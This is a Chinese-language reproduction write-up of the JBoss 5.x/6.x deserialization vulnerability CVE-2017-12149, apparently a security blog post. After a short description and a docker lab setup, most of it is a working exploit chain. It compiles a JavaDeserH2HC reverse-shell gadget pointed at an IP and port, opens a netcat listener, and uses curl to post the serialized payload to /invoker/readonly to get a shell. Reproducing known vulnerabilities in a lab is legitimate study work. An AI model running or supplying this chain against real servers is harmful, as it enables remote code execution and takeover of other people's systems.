0%

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞描述

该漏洞为Java反序列化错误类型,存在于JbossHttpInvoker组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本

漏洞影响5.x和6.x版本的JBOSSAS

环境搭建

1
docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

image

漏洞复现

访问/invoker/readonly,返回500,说明页面存在,此页面存在反序列化漏洞。

image

利用工具:JavaDeserH2HC,我们选择一个GadgetReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:

image

生成ReverseShellCommonsCollectionsHashMap.class

1
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成ReverseShellCommonsCollectionsHashMap.ser

1
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.101.62.20:1234(ip是nc所在的ip)

image

利用,监听端口:

1
nc -lvp 1234

发送poc:

1
curl http://47.101.62.20:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image

反弹shell:

image